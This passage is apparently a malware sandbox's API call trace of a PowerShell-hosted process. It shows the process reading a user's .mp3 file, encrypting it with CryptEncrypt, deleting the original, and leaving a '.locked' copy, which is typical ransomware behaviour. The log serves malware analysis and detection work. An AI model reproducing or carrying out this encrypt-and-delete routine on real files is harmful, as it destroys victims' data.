[7]=0x1))) returned 0x0 [0134.099] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.148] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.149] ReadFile (in: hFile=0x858, lpBuffer=0x69df7f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69df7f8*, lpNumberOfBytesRead=0x99ae7a8*=0x58b9, lpOverlapped=0x0) returned 1 [0134.149] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69f3804*, pdwDataLen=0x99ae79c*=0x58b0, dwBufLen=0x58b0 | out: pbData=0x69f3804*, pdwDataLen=0x99ae79c*=0x58b0) returned 1 [0134.150] WriteFile (in: hFile=0x874, lpBuffer=0x69db0a0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69db0a0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.151] WriteFile (in: hFile=0x874, lpBuffer=0x69f47f0*, nNumberOfBytesToWrite=0x48c4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69f47f0*, lpNumberOfBytesWritten=0x99ae780*=0x48c4, lpOverlapped=0x0) returned 1 [0134.151] ReadFile (in: hFile=0x858, lpBuffer=0x69df7f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69df7f8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.151] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69f90d8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69f90d8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.151] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69f910c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69f910c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.151] WriteFile (in: hFile=0x874, lpBuffer=0x69db0a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69db0a0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.152] CloseHandle (hObject=0x874) returned 1 [0134.153] CloseHandle (hObject=0x858) returned 1 [0134.153] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.153] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.155] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 0x20 [0134.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.156] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.156] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.156] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.157] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.157] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.157] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.157] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.157] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 0x20 [0134.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3\\", lpFilePart=0x0) returned 0x35 [0134.159] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.160] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.160] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.160] CoTaskMemFree (pv=0x8eb8930) [0134.161] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 0x20 [0134.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a0d2c0 | out: lpFileInformation=0x6a0d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe51e4f10, ftCreationTime.dwHighDateTime=0x1d49fdb, ftLastAccessTime.dwLowDateTime=0xc99b50f0, ftLastAccessTime.dwHighDateTime=0x1d4a87b, ftLastWriteTime.dwLowDateTime=0xc99b50f0, ftLastWriteTime.dwHighDateTime=0x1d4a87b, nFileSizeHigh=0x0, nFileSizeLow=0x58b9)) returned 1 [0134.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.183] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 1 [0134.185] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.186] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.186] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.186] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.186] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.187] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3.locked")) returned 0x20 [0134.188] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3.locked")) returned 0x20 [0134.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", lpFilePart=0x0) returned 0x3b [0134.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", lpFilePart=0x0) returned 0x3b [0134.188] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.188] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.188] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.189] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.189] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.191] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xe3e0\x99a\x1d5f\x73b9\x8a60\x7411") returned 0x0 [0134.191] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.191] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.191] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.193] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.193] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.193] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.193] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.193] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.195] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.195] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.196] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.196] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.198] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 